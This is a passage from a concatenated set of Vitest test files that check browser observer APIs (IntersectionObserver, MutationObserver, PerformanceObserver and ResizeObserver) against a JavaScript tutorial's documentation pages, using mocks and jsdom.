1200 // pixels const viewportHeight = 800 // pixels const canBeFullyVisible = elementHeight <= viewportHeight expect(canBeFullyVisible).toBe(false) // In this case, use a lower threshold or check intersectionRatio const practicalThreshold = 0.8 expect(practicalThreshold).toBeLessThan(1.0) }) }) describe('Common Mistakes Prevention', () => { // MDX lines ~680-750: Common Mistakes section it('Mistake 2: should use single observer for multiple elements', () => { const observers = [] const elements = ['el1', 'el2', 'el3', 'el4', 'el5'] // BAD: Creating new observer for each element function badPattern() { elements.forEach(el => { observers.push({ target: el }) }) return observers.length } // GOOD: One observer watching many elements function goodPattern() { const singleObserver = { targets: [] } elements.forEach(el => { singleObserver.targets.push(el) }) return 1 // Just one observer } expect(badPattern()).toBe(5) // 5 "observers" expect(goodPattern()).toBe(1) // 1 observer }) it('Mistake 3: should check isIntersecting in callback', () => { // Callback fires immediately on observe() call const entriesReceived = [] function handleEntries(entries) { entries.forEach(entry => { // WRONG: Assuming callback only fires when visible // loadImage(entry.target) // Would load all images immediately! // RIGHT: Check isIntersecting first if (entry.isIntersecting) { entriesReceived.push(entry) } }) } // Initial callback with non-intersecting elements const initialEntries = [ { isIntersecting: false, target: 'img1' }, { isIntersecting: false, target: 'img2' }, { isIntersecting: true, target: 'img3' } ] handleEntries(initialEntries) expect(entriesReceived.length).toBe(1) // Only img3 }) }) describe('Feature Detection', () => { // MDX lines ~775-790: Browser Support it('should demonstrate feature detection pattern', () => { // Simulate browser without IntersectionObserver const windowWithoutIO = {} const windowWithIO = { IntersectionObserver: function() {} } function hasIntersectionObserver(win) { return 'IntersectionObserver' in win } expect(hasIntersectionObserver(windowWithoutIO)).toBe(false) expect(hasIntersectionObserver(windowWithIO)).toBe(true) }) }) describe('Key Takeaways Validation', () => { // MDX lines ~800-830: Key Takeaways it('Takeaway 1: Observer is more performant than scroll events', () => { // Scroll events fire 60+ times per second // IntersectionObserver only fires when visibility changes const scrollEventFrequency = 60 // per second const observerCallsPerVisibilityChange = 1 expect(scrollEventFrequency).toBeGreaterThan(observerCallsPerVisibilityChange) }) it('Takeaway 4: One observer can watch many elements', () => { const observedElements = [] const mockObserver = { observe: (el) => observedElements.push(el) } // Can observe multiple elements with single observer const elements = ['el1', 'el2', 'el3'] elements.forEach(el => mockObserver.observe(el)) expect(observedElements.length).toBe(3) }) it('Takeaway 6: rootMargin enables preloading', () => { // Positive margin = detect before visible const preloadMargin = '100px' // Element at position 700px from top of viewport (800px height) // With rootMargin: 100px, detection happens at 800 + 100 = 900px const viewportHeight = 800 const marginValue = 100 const effectiveDetectionArea = viewportHeight + marginValue expect(effectiveDetectionArea).toBe(900) }) }) }) ================================================ FILE: tests/beyond/observer-apis/mutation-observer/mutation-observer.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================ // MUTATIONOBSERVER TESTS // From mutation-observer.mdx // ============================================================ describe('MutationObserver', () => { let container let observer beforeEach(() => { container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { if (observer) { observer.disconnect() observer = null } document.body.innerHTML = '' vi.restoreAllMocks() }) // ============================================================ // CREATING A MUTATIONOBSERVER // From mutation-observer.mdx lines 75-120 // ============================================================ describe('Creating a MutationObserver', () => { // From lines 75-85: Basic observer creation it('should create observer with callback', () => { const callback = vi.fn() observer = new MutationObserver(callback) expect(observer).toBeInstanceOf(MutationObserver) }) // From lines 90-98: Observer receives mutations array it('should call callback with mutations array when changes occur', async () => { const mutations = [] observer = new MutationObserver((mutationList) => { mutations.push(...mutationList) }) observer.observe(container, { childList: true }) container.appendChild(document.createElement('span')) // Wait for microtask await Promise.resolve() expect(mutations.length).toBe(1) expect(mutations[0].type).toBe('childList') }) // From lines 100-115: Processing mutation types it('should report correct mutation type for childList changes', async () => { let mutationType = null observer = new MutationObserver((mutations) => { mutationType = mutations[0].type }) observer.observe(container, { childList: true }) container.appendChild(document.createElement('div')) await Promise.resolve() expect(mutationType).toBe('childList') }) it('should report correct mutation type for attribute changes', async () => { let mutationType = null let attributeName = null observer = new MutationObserver((mutations) => { mutationType = mutations[0].type attributeName = mutations[0].attributeName }) observer.observe(container, { attributes: true }) container.setAttribute('data-test', 'value') await Promise.resolve() expect(mutationType).toBe('attributes') expect(attributeName).toBe('data-test') }) }) // ============================================================ // CONFIGURATION OPTIONS // From mutation-observer.mdx lines 130-220 // ============================================================ describe('Configuration Options', () => { // From lines 140-155: childList option describe('childList option', () => { it('should detect added nodes', async () => { const addedNodes = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { addedNodes.push(...mutation.addedNodes) } }) observer.observe(container, { childList: true }) const newElement = document.createElement('span') container.appendChild(newElement) await Promise.resolve() expect(addedNodes).toContain(newElement) }) it('should detect removed nodes', async () => { const child = document.createElement('span') container.appendChild(child) const removedNodes = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { removedNodes.push(...mutation.removedNodes) } }) observer.observe(container, { childList: true }) container.removeChild(child) await Promise.resolve() expect(removedNodes).toContain(child) }) it('should detect innerHTML changes', async () => { let mutationCount = 0 observer = new MutationObserver((mutations) => { mutationCount = mutations.length }) observer.observe(container, { childList: true }) container.innerHTML = '<p>New content</p>' await Promise.resolve() expect(mutationCount).toBeGreaterThan(0) }) }) // From lines 160-180: attributes option describe('attributes option', () => { it('should detect setAttribute changes', async () => { let changedAttribute = null observer = new MutationObserver((mutations) => { changedAttribute = mutations[0].attributeName }) observer.observe(container, { attributes: true }) container.setAttribute('data-active', 'true') await Promise.resolve() expect(changedAttribute).toBe('data-active') }) it('should detect classList changes', async () => { let changedAttribute = null observer = new MutationObserver((mutations) => { changedAttribute = mutations[0].attributeName }) observer.observe(container, { attributes: true }) container.classList.add('highlight') await Promise.resolve() expect(changedAttribute).toBe('class') }) it('should detect id changes', async () => { let changedAttribute = null observer = new MutationObserver((mutations) => { changedAttribute = mutations[0].attributeName }) observer.observe(container, { attributes: true }) container.id = 'new-id' await Promise.resolve() expect(changedAttribute).toBe('id') }) }) // From lines 185-200: attributeFilter option describe('attributeFilter option', () => { it('should only observe specified attributes', async () => { const observedAttributes = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { observedAttributes.push(mutation.attributeName) } }) observer.observe(container, { attributes: true, attributeFilter: ['class', 'data-state'] }) container.classList.toggle('active') container.dataset.state = 'loading' container.setAttribute('title', 'Hello') // Should NOT be observed await Promise.resolve() expect(observedAttributes).toContain('class') expect(observedAttributes).toContain('data-state') expect(observedAttributes).not.toContain('title') }) }) // From lines 205-220: attributeOldValue option describe('attributeOldValue option', () => { it('should include old value when attributeOldValue is true', async () => { container.setAttribute('data-value', 'original') let oldValue = null let newValue = null observer = new MutationObserver((mutations) => { oldValue = mutations[0].oldValue newValue = mutations[0].target.getAttribute(mutations[0].attributeName) }) observer.observe(container, { attributes: true, attributeOldValue: true }) container.setAttribute('data-value', 'updated') await Promise.resolve() expect(oldValue).toBe('original') expect(newValue).toBe('updated') }) }) }) // ============================================================ // SUBTREE OPTION // From mutation-observer.mdx lines 280-320 // ============================================================ describe('Subtree Option', () => { // From lines 285-300: Without subtree it('should only observe direct children without subtree option', async () => { const child = document.createElement('div') const grandchild = document.createElement('span') child.appendChild(grandchild) container.appendChild(child) const mutations = [] observer = new MutationObserver((mutationList) => { mutations.push(...mutationList) }) // Observe WITHOUT subtree observer.observe(container, { childList: true }) // Add to grandchild - should NOT trigger grandchild.appendChild(document.createElement('p')) await Promise.resolve() // No mutations expected since we're not watching subtree expect(mutations.length).toBe(0) }) // From lines 305-320: With subtree it('should observe all descendants with subtree option', async () => { const child = document.createElement('div') const grandchild = document.createElement('span') child.appendChild(grandchild) container.appendChild(child) const mutations = [] observer = new MutationObserver((mutationList) => { mutations.push(...mutationList) }) // Observe WITH subtree observer.observe(container, { childList: true, subtree: true }) // Add to grandchild - SHOULD trigger grandchild.appendChild(document.createElement('p')) await Promise.resolve() expect(mutations.length).toBe(1) expect(mutations[0].target).toBe(grandchild) }) }) // ============================================================ // MUTATIONRECORD PROPERTIES // From mutation-observer.mdx lines 230-275 // ============================================================ describe('MutationRecord Properties', () => { // From lines 240-260: addedNodes and removedNodes it('should provide addedNodes in mutation record', async () => { let record = null observer = new MutationObserver((mutations) => { record = mutations[0] }) observer.observe(container, { childList: true }) const newElement = document.createElement('p') container.appendChild(newElement) await Promise.resolve() expect(record.addedNodes.length).toBe(1) expect(record.addedNodes[0]).toBe(newElement) expect(record.removedNodes.length).toBe(0) }) it('should provide removedNodes in mutation record', async () => { const child = document.createElement('p') container.appendChild(child) let record = null observer = new MutationObserver((mutations) => { record = mutations[0] }) observer.observe(container, { childList: true }) container.removeChild(child) await Promise.resolve() expect(record.removedNodes.length).toBe(1) expect(record.removedNodes[0]).toBe(child) expect(record.addedNodes.length).toBe(0) }) // From lines 265-275: target property it('should provide target element in mutation record', async () => { let target = null observer = new MutationObserver((mutations) => { target = mutations[0].target }) observer.observe(container, { attributes: true }) container.setAttribute('data-test', 'value') await Promise.resolve() expect(target).toBe(container) }) }) // ============================================================ // DISCONNECTING AND CLEANUP // From mutation-observer.mdx lines 330-380 // ============================================================ describe('Disconnecting and Cleanup', () => { // From lines 335-345: disconnect() method it('should stop observing after disconnect()', async () => { let mutationCount = 0 observer = new MutationObserver(() => { mutationCount++ }) observer.observe(container, { childList: true }) // First change - should be observed container.appendChild(document.createElement('span')) await Promise.resolve() expect(mutationCount).toBe(1) // Disconnect observer.disconnect() // Second change - should NOT be observed container.appendChild(document.createElement('span')) await Promise.resolve() expect(mutationCount).toBe(1) // Still 1, not 2 }) // From lines 350-365: takeRecords() method it('should return pending mutations with takeRecords()', async () => { const callbackMutations = [] observer = new MutationObserver((mutations) => { callbackMutations.push(...mutations) }) observer.observe(container, { childList: true }) // Make changes container.appendChild(document.createElement('span')) container.appendChild(document.createElement('div')) // Get pending mutations before they're delivered to callback const pendingMutations = observer.takeRecords() // These mutations are now "taken" and won't be delivered to callback await Promise.resolve() expect(pendingMutations.length).toBe(2) expect(callbackMutations.length).toBe(0) // Callback never received them }) }) // ============================================================ // FILTERING NODE TYPES // From mutation-observer.mdx lines 440-470 (Common Mistakes) // ============================================================ describe('Filtering Node Types', () => { // From lines 445-465: Filter for elements only it('should include text nodes in addedNodes', async () => { const addedNodes = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { addedNodes.push(...mutation.addedNodes) } }) observer.observe(container, { childList: true }) // This adds a text node, not an element container.textContent = 'Hello' await Promise.resolve() // Should have a text node const hasTextNode = addedNodes.some(node => node.nodeType === Node.TEXT_NODE) expect(hasTextNode).toBe(true) }) it('should be able to filter for elements only', async () => { const addedElements = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType === Node.ELEMENT_NODE) { addedElements.push(node) } } } }) observer.observe(container, { childList: true }) // Add text node (should be ignored) container.appendChild(document.createTextNode('Hello')) // Add element (should be captured) const elem = document.createElement('span') container.appendChild(elem) await Promise.resolve() expect(addedElements.length).toBe(1) expect(addedElements[0]).toBe(elem) }) }) // ============================================================ // CHARACTERDATA MUTATIONS // From mutation-observer.mdx lines 110-115 // ============================================================ describe('characterData Mutations', () => { it('should detect text content changes in text nodes', async () => { const textNode = document.createTextNode('Initial text') container.appendChild(textNode) let mutationType = null let oldValue = null observer = new MutationObserver((mutations) => { mutationType = mutations[0].type oldValue = mutations[0].oldValue }) observer.observe(container, { characterData: true, subtree: true, characterDataOldValue: true }) textNode.textContent = 'Updated text' await Promise.resolve() expect(mutationType).toBe('characterData') expect(oldValue).toBe('Initial text') }) }) // ============================================================ // REAL-WORLD USE CASES // From mutation-observer.mdx lines 400-440 // ============================================================ describe('Real-World Use Cases', () => { // From lines 405-420: Lazy loading images pattern it('should detect images added to DOM for lazy loading', async () => { const loadedImages = [] function loadImage(img) { if (img.dataset.src) { img.src = img.dataset.src img.removeAttribute('data-src') loadedImages.push(img) } } observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType !== Node.ELEMENT_NODE) continue if (node.matches && node.matches('img[data-src]')) { loadImage(node) } if (node.querySelectorAll) { node.querySelectorAll('img[data-src]').forEach(loadImage) } } } }) observer.observe(container, { childList: true, subtree: true }) // Add image with data-src const img = document.createElement('img') img.dataset.src = 'https://example.com/image.jpg' container.appendChild(img) await Promise.resolve() expect(loadedImages.length).toBe(1) expect(img.src).toBe('https://example.com/image.jpg') expect(img.dataset.src).toBeUndefined() }) // From lines 430-445: Removing unwanted elements it('should detect and remove unwanted elements', async () => { const removedElements = [] observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.nodeType !== Node.ELEMENT_NODE) continue if (node.matches && node.matches('.ad-banner')) { node.remove() removedElements.push(node) } } } }) observer.observe(container, { childList: true, subtree: true }) // Simulate ad being injected const ad = document.createElement('div') ad.className = 'ad-banner' container.appendChild(ad) await Promise.resolve() expect(removedElements.length).toBe(1) expect(container.querySelector('.ad-banner')).toBeNull() }) // From lines 450-465: Tracking class changes it('should detect class changes on elements', async () => { const element = document.createElement('div') element.id = 'panel' container.appendChild(element) let isExpanded = false observer = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.attributeName === 'class') { isExpanded = mutation.target.classList.contains('expanded') } } }) observer.observe(element, { attributes: true, attributeFilter: ['class'] }) element.classList.add('expanded') await Promise.resolve() expect(isExpanded).toBe(true) }) }) // ============================================================ // MICROTASK TIMING // From mutation-observer.mdx lines 385-400 // ============================================================ describe('Microtask Timing', () => { it('should batch multiple changes into single callback', async () => { let callbackCount = 0 let totalMutations = 0 observer = new MutationObserver((mutations) => { callbackCount++ totalMutations += mutations.length }) observer.observe(container, { childList: true }) // Make multiple changes synchronously container.appendChild(document.createElement('div')) container.appendChild(document.createElement('span')) container.appendChild(document.createElement('p')) await Promise.resolve() // Should be batched into single callback expect(callbackCount).toBe(1) expect(totalMutations).toBe(3) }) }) }) ================================================ FILE: tests/beyond/observer-apis/performance-observer/performance-observer.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' /** * Tests for Performance Observer concept page * Source: docs/beyond/concepts/performance-observer.mdx * * PerformanceObserver is a browser API - these tests mock the API * to verify the patterns and logic demonstrated in the documentation. */ describe('Performance Observer', () => { let mockObservers let mockEntries function simulateEntry(entry) { mockEntries.push(entry) mockObservers.forEach(observer => { if ( (observer.options.type && observer.options.type === entry.entryType) || (observer.options.entryTypes && observer.options.entryTypes.includes(entry.entryType)) ) { observer.callback({ getEntries: () => [entry] }, observer) } }) } beforeEach(() => { mockObservers = [] mockEntries = [] class MockPerformanceObserver { constructor(callback) { this.callback = callback this.options = null } observe(options) { this.options = options mockObservers.push(this) if (options.buffered && mockEntries.length > 0) { const entries = mockEntries.filter(e => options.type === e.entryType || (options.entryTypes && options.entryTypes.includes(e.entryType)) ) if (entries.length > 0) { setTimeout(() => { this.callback({ getEntries: () => [...entries] }, this) }, 0) } } } disconnect() { const index = mockObservers.indexOf(this) if (index > -1) { mockObservers.splice(index, 1) } } takeRecords() { const records = [...mockEntries] mockEntries.length = 0 return records } static supportedEntryTypes = [ 'element', 'event', 'first-input', 'largest-contentful-paint', 'layout-shift', 'longtask', 'mark', 'measure', 'navigation', 'paint', 'resource', 'visibility-state' ] } vi.stubGlobal('PerformanceObserver', MockPerformanceObserver) vi.stubGlobal('performance', { mark: vi.fn((name) => ({ name, startTime: Date.now() })), measure: vi.fn((name, startMark, endMark) => ({ name, startTime: 0, duration: 100 })), getEntries: vi.fn(() => mockEntries), getEntriesByType: vi.fn((type) => mockEntries.filter(e => e.entryType === type)), getEntriesByName: vi.fn((name) => mockEntries.filter(e => e.name === name)) }) vi.stubGlobal('window', { PerformanceObserver: MockPerformanceObserver }) }) afterEach(() => { vi.unstubAllGlobals() vi.clearAllMocks() }) describe('Basic PerformanceObserver Usage', () => { // Source: docs/beyond/concepts/performance-observer.mdx:79-96 it('should create an observer and receive entries', () => { const receivedEntries = [] const observer = new PerformanceObserver((list) => { receivedEntries.push(...list.getEntries()) }) observer.observe({ type: 'resource', buffered: true }) simulateEntry({ entryType: 'resource', name: 'https://example.com/app.js', duration: 245.30 }) expect(receivedEntries.length).toBe(1) expect(receivedEntries[0].name).toBe('https://example.com/app.js') }) it('should handle multiple entry types with entryTypes option', () => { const receivedEntries = [] const observer = new PerformanceObserver((list) => { receivedEntries.push(...list.getEntries()) }) observer.observe({ entryTypes: ['resource', 'navigation'] }) simulateEntry({ entryType: 'resource', name: 'script.js' }) simulateEntry({ entryType: 'navigation', name: 'page' }) simulateEntry({ entryType: 'paint', name: 'first-paint' }) expect(receivedEntries.length).toBe(2) }) }) describe('Checking Supported Entry Types', () => { // Source: docs/beyond/concepts/performance-observer.mdx:120-126 it('should expose supportedEntryTypes static property', () => { const supportedTypes = PerformanceObserver.supportedEntryTypes expect(Array.isArray(supportedTypes)).toBe(true) expect(supportedTypes).toContain('resource') expect(supportedTypes).toContain('navigation') expect(supportedTypes).toContain('paint') expect(supportedTypes).toContain('largest-contentful-paint') expect(supportedTypes).toContain('layout-shift') expect(supportedTypes).toContain('longtask') }) }) describe('Resource Timing', () => { // Source: docs/beyond/concepts/performance-observer.mdx:148-169 it('should observe resource timing entries with detailed breakdown', () => { const results = [] const resourceObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { results.push({ name: entry.name, duration: entry.duration, dns: entry.domainLookupEnd - entry.domainLookupStart, tcp: entry.connectEnd - entry.connectStart, ttfb: entry.responseStart - entry.requestStart, download: entry.responseEnd - entry.responseStart }) }) }) resourceObserver.observe({ type: 'resource', buffered: true }) simulateEntry({ entryType: 'resource', name: 'https://example.com/app.js', startTime: 100, duration: 245.30, domainLookupStart: 100, domainLookupEnd: 120, connectStart: 120, connectEnd: 150, requestStart: 150, responseStart: 200, responseEnd: 345.30 }) expect(results.length).toBe(1) expect(results[0].name).toBe('https://example.com/app.js') expect(results[0].dns).toBe(20) expect(results[0].tcp).toBe(30) expect(results[0].ttfb).toBe(50) expect(results[0].download).toBeCloseTo(145.30) }) }) describe('Navigation Timing', () => { // Source: docs/beyond/concepts/performance-observer.mdx:173-194 it('should observe navigation timing entries', () => { const metrics = {} const navObserver = new PerformanceObserver((list) => { const entry = list.getEntries()[0] metrics.dns = entry.domainLookupEnd - entry.domainLookupStart metrics.tcp = entry.connectEnd - entry.connectStart metrics.ttfb = entry.responseStart - entry.startTime metrics.domParsing = entry.domInteractive - entry.responseEnd metrics.domComplete = entry.domComplete - entry.startTime metrics.loadComplete = entry.loadEventEnd - entry.startTime }) navObserver.observe({ type: 'navigation', buffered: true }) simulateEntry({ entryType: 'navigation', name: 'https://example.com/', startTime: 0, domainLookupStart: 10, domainLookupEnd: 30, connectStart: 30, connectEnd: 60, responseStart: 100, responseEnd: 200, domInteractive: 400, domComplete: 800, loadEventEnd: 1000 }) expect(metrics.dns).toBe(20) expect(metrics.tcp).toBe(30) expect(metrics.ttfb).toBe(100) expect(metrics.domParsing).toBe(200) expect(metrics.domComplete).toBe(800) expect(metrics.loadComplete).toBe(1000) }) }) describe('Paint Timing', () => { // Source: docs/beyond/concepts/performance-observer.mdx:198-210 it('should observe paint timing entries', () => { const paintEvents = [] const paintObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { paintEvents.push({ name: entry.name, startTime: entry.startTime }) }) }) paintObserver.observe({ type: 'paint', buffered: true }) simulateEntry({ entryType: 'paint', name: 'first-paint', startTime: 245.5 }) simulateEntry({ entryType: 'paint', name: 'first-contentful-paint', startTime: 312.8 }) expect(paintEvents.length).toBe(2) expect(paintEvents[0].name).toBe('first-paint') expect(paintEvents[0].startTime).toBe(245.5) expect(paintEvents[1].name).toBe('first-contentful-paint') expect(paintEvents[1].startTime).toBe(312.8) }) }) describe('Core Web Vitals - LCP', () => { // Source: docs/beyond/concepts/performance-observer.mdx:220-242 it('should measure Largest Contentful Paint and rate as Good', () => { let lcpValue = null let lcpRating = null const lcpObserver = new PerformanceObserver((list) => { const entries = list.getEntries() const lastEntry = entries[entries.length - 1] lcpValue = lastEntry.startTime if (lastEntry.startTime <= 2500) { lcpRating = 'Good' } else if (lastEntry.startTime <= 4000) { lcpRating = 'Needs Improvement' } else { lcpRating = 'Poor' } }) lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) simulateEntry({ entryType: 'largest-contentful-paint', startTime: 1500, size: 50000 }) expect(lcpValue).toBe(1500) expect(lcpRating).toBe('Good') }) it('should rate LCP as Needs Improvement between 2.5s and 4s', () => { let lcpRating = null const lcpObserver = new PerformanceObserver((list) => { const lastEntry = list.getEntries()[list.getEntries().length - 1] if (lastEntry.startTime <= 2500) { lcpRating = 'Good' } else if (lastEntry.startTime <= 4000) { lcpRating = 'Needs Improvement' } else { lcpRating = 'Poor' } }) lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) simulateEntry({ entryType: 'largest-contentful-paint', startTime: 3000 }) expect(lcpRating).toBe('Needs Improvement') }) it('should rate LCP as Poor above 4s', () => { let lcpRating = null const lcpObserver = new PerformanceObserver((list) => { const lastEntry = list.getEntries()[list.getEntries().length - 1] if (lastEntry.startTime <= 2500) { lcpRating = 'Good' } else if (lastEntry.startTime <= 4000) { lcpRating = 'Needs Improvement' } else { lcpRating = 'Poor' } }) lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) simulateEntry({ entryType: 'largest-contentful-paint', startTime: 5000 }) expect(lcpRating).toBe('Poor') }) }) describe('Core Web Vitals - CLS', () => { // Source: docs/beyond/concepts/performance-observer.mdx:246-267 it('should measure Cumulative Layout Shift', () => { let clsValue = 0 const clsObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { if (!entry.hadRecentInput) { clsValue += entry.value } }) }) clsObserver.observe({ type: 'layout-shift', buffered: true }) simulateEntry({ entryType: 'layout-shift', value: 0.05, hadRecentInput: false }) simulateEntry({ entryType: 'layout-shift', value: 0.03, hadRecentInput: false }) expect(clsValue).toBeCloseTo(0.08) }) it('should ignore layout shifts with recent user input', () => { let clsValue = 0 const clsObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { if (!entry.hadRecentInput) { clsValue += entry.value } }) }) clsObserver.observe({ type: 'layout-shift', buffered: true }) simulateEntry({ entryType: 'layout-shift', value: 0.05, hadRecentInput: false }) simulateEntry({ entryType: 'layout-shift', value: 0.10, hadRecentInput: true }) expect(clsValue).toBeCloseTo(0.05) }) }) describe('Core Web Vitals - INP', () => { // Source: docs/beyond/concepts/performance-observer.mdx:271-291 it('should measure Interaction to Next Paint (worst interaction)', () => { let maxINP = 0 const inpObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { if (entry.duration > maxINP) { maxINP = entry.duration } }) }) inpObserver.observe({ type: 'event', buffered: true, durationThreshold: 40 }) simulateEntry({ entryType: 'event', name: 'click', duration: 80 }) simulateEntry({ entryType: 'event', name: 'keydown', duration: 150 }) simulateEntry({ entryType: 'event', name: 'click', duration: 50 }) expect(maxINP).toBe(150) }) }) describe('Core Web Vitals - FCP', () => { // Source: docs/beyond/concepts/performance-observer.mdx:295-316 it('should measure First Contentful Paint', () => { let fcpValue = null let fcpRating = null const fcpObserver = new PerformanceObserver((list) => { const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint') if (fcp) { fcpValue = fcp.startTime if (fcp.startTime <= 1800) { fcpRating = 'Good' } else if (fcp.startTime <= 3000) { fcpRating = 'Needs Improvement' } else { fcpRating = 'Poor' } } }) fcpObserver.observe({ type: 'paint', buffered: true }) simulateEntry({ entryType: 'paint', name: 'first-contentful-paint', startTime: 1200 }) expect(fcpValue).toBe(1200) expect(fcpRating).toBe('Good') }) }) describe('Core Web Vitals - TTFB', () => { // Source: docs/beyond/concepts/performance-observer.mdx:320-342 it('should measure Time to First Byte with breakdown', () => { let ttfb = null let breakdown = {} const ttfbObserver = new PerformanceObserver((list) => { const entry = list.getEntries()[0] ttfb = entry.responseStart - entry.startTime breakdown = { dns: entry.domainLookupEnd - entry.domainLookupStart, connection: entry.connectEnd - entry.connectStart, waiting: entry.responseStart - entry.requestStart } }) ttfbObserver.observe({ type: 'navigation', buffered: true }) simulateEntry({ entryType: 'navigation', startTime: 0, domainLookupStart: 10, domainLookupEnd: 50, connectStart: 50, connectEnd: 100, requestStart: 100, responseStart: 300 }) expect(ttfb).toBe(300) expect(breakdown.dns).toBe(40) expect(breakdown.connection).toBe(50) expect(breakdown.waiting).toBe(200) }) }) describe('Custom Performance Marks and Measures', () => { // Source: docs/beyond/concepts/performance-observer.mdx:376-393 it('should create custom marks and measures', () => { performance.mark('api-call-start') performance.mark('api-call-end') performance.measure('api-call', 'api-call-start', 'api-call-end') expect(performance.mark).toHaveBeenCalledWith('api-call-start') expect(performance.mark).toHaveBeenCalledWith('api-call-end') expect(performance.measure).toHaveBeenCalledWith('api-call', 'api-call-start', 'api-call-end') }) it('should observe custom measures', () => { const customMetrics = [] const customObserver = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { customMetrics.push({ name: entry.name, duration: entry.duration }) }) }) customObserver.observe({ type: 'measure', buffered: true }) simulateEntry({ entryType: 'measure', name: 'api-call', startTime: 0, duration: 245.3 }) expect(customMetrics.length).toBe(1) expect(customMetrics[0].name).toBe('api-call') expect(customMetrics[0].duration).toBe(245.3) }) }) describe('Long Tasks', () => { // Source: docs/beyond/concepts/performance-observer.mdx:426-445 it('should detect long tasks blocking the main thread (>50ms)', () => { const longTasks = [] const longTaskObserver = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { longTasks.push({ duration: entry.duration, startTime: entry.startTime }) }) }) longTaskObserver.observe({ type: 'longtask', buffered: true }) simulateEntry({ entryType: 'longtask', startTime: 1000, duration: 150 }) expect(longTasks.length).toBe(1) expect(longTasks[0].duration).toBe(150) }) }) describe('Observer Methods', () => { describe('disconnect()', () => { // Source: docs/beyond/concepts/performance-observer.mdx:553-567 it('should stop receiving entries after disconnect', () => { const receivedEntries = [] const observer = new PerformanceObserver((list) => { receivedEntries.push(...list.getEntries()) }) observer.observe({ type: 'resource', buffered: true }) simulateEntry({ entryType: 'resource', name: 'before.js' }) expect(receivedEntries.length).toBe(1) observer.disconnect() simulateEntry({ entryType: 'resource', name: 'after.js' }) expect(receivedEntries.length).toBe(1) }) }) describe('takeRecords()', () => { // Source: docs/beyond/concepts/performance-observer.mdx:571-583 it('should return pending entries and clear buffer', () => { mockEntries = [ { entryType: 'resource', name: 'script.js', duration: 100 }, { entryType: 'resource', name: 'style.css', duration: 50 } ] const observer = new PerformanceObserver(() => {}) observer.observe({ type: 'resource', buffered: true }) const pending = observer.takeRecords() expect(pending.length).toBe(2) expect(observer.takeRecords().length).toBe(0) }) }) }) describe('Browser Support Check', () => { // Source: docs/beyond/concepts/performance-observer.mdx:622-635 it('should check for PerformanceObserver support before using', () => { const safeObserve = (type, callback) => { if ('PerformanceObserver' in window) { if (PerformanceObserver.supportedEntryTypes.includes(type)) { const observer = new PerformanceObserver(callback) observer.observe({ type, buffered: true }) return observer } } return null } const observer = safeObserve('largest-contentful-paint', vi.fn()) expect(observer).not.toBeNull() }) it('should return null for unsupported entry types', () => { const safeObserve = (type, callback) => { if ('PerformanceObserver' in window) { if (PerformanceObserver.supportedEntryTypes.includes(type)) { const observer = new PerformanceObserver(callback) observer.observe({ type, buffered: true }) return observer } } return null } const observer = safeObserve('unsupported-type', vi.fn()) expect(observer).toBeNull() }) }) describe('Simple RUM Implementation', () => { // Source: docs/beyond/concepts/performance-observer.mdx:464-524 it('should collect multiple metrics into a single object', () => { class PerformanceMonitor { constructor() { this.metrics = {} this.observers = [] } observe(type, callback) { const observer = new PerformanceObserver((list) => { callback(list.getEntries()) }) observer.observe({ type, buffered: true }) this.observers.push(observer) } disconnect() { this.observers.forEach(obs => obs.disconnect()) } } const monitor = new PerformanceMonitor() monitor.observe('largest-contentful-paint', (entries) => { const lastEntry = entries[entries.length - 1] monitor.metrics.lcp = lastEntry.startTime }) monitor.observe('paint', (entries) => { const fcp = entries.find(e => e.name === 'first-contentful-paint') if (fcp) { monitor.metrics.fcp = fcp.startTime } }) simulateEntry({ entryType: 'largest-contentful-paint', startTime: 2000 }) simulateEntry({ entryType: 'paint', name: 'first-contentful-paint', startTime: 800 }) expect(monitor.metrics.lcp).toBe(2000) expect(monitor.metrics.fcp).toBe(800) monitor.disconnect() }) }) describe('Sampling Pattern', () => { // Source: docs/beyond/concepts/performance-observer.mdx:637-650 it('should demonstrate sampling pattern for production', () => { let observerCreated = false const shouldSample = true if (shouldSample) { const observer = new PerformanceObserver(() => {}) observer.observe({ type: 'resource', buffered: true }) observerCreated = true } expect(observerCreated).toBe(true) }) it('should skip observer creation when not sampled', () => { let observerCreated = false const shouldSample = false if (shouldSample) { const observer = new PerformanceObserver(() => {}) observer.observe({ type: 'resource', buffered: true }) observerCreated = true } expect(observerCreated).toBe(false) }) }) }) ================================================ FILE: tests/beyond/observer-apis/resize-observer/resize-observer.test.js ================================================ /** * Tests for ResizeObserver concept page * Source: /docs/beyond/concepts/resize-observer.mdx * * Note: ResizeObserver is a browser API that cannot be fully tested * without a real browser environment. These tests verify the concepts and * patterns described in the documentation using mocks and simulated behavior. */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('ResizeObserver Concepts', () => { // ============================================================ // RESIZEOBSERVERENTRY PROPERTIES // From resize-observer.mdx lines ~115-140 // ============================================================ describe('ResizeObserverEntry Properties', () => { // From lines ~115-140: The ResizeObserverEntry Object it('should understand entry property structure', () => { // Simulating the shape of ResizeObserverEntry const mockEntry = { target: { id: 'test-element' }, contentRect: { width: 200, height: 100, top: 10, // Padding-top value 